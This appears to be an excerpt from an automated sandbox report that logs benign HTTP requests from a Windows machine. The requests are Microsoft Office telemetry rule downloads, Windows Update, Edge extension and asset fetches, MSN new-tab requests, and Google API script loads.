Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=LAoL9oevRfGSUy3&MD=onyxB49Z HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730835315&P2=404&P3=2&P4=iHpEirIEKdVfkMEYxGnzFbLisGEFjuVR7QfN%2fOs3SdkyvyjERWvE7%2fFJ1pN%2fxhwpgpBNQTv%2bUYZ6qFKJ9MkJkA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: S/o+molOvxcZRA3QxNOIAdSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /auth/cookie/appanon?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&ocid=authconstants-peregrine&activityId=8731449F-A998-4646-A5D1-482B211350CC&scn=app_anon HTTP/1.1Host: api.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=09AD4FBAEAAE613425ED5A9DEBF960D9; _EDGE_S=F=1&SID=00E043A9BE346C330DA1568EBFDC6DE2; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=09AD4FBAEAAE613425ED5A9DEBF960D9&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=d55e6243b99d4773fe49f810720db22e HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=09AD4FBAEAAE613425ED5A9DEBF960D9; _EDGE_S=F=1&SID=00E043A9BE346C330DA1568EBFDC6DE2; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
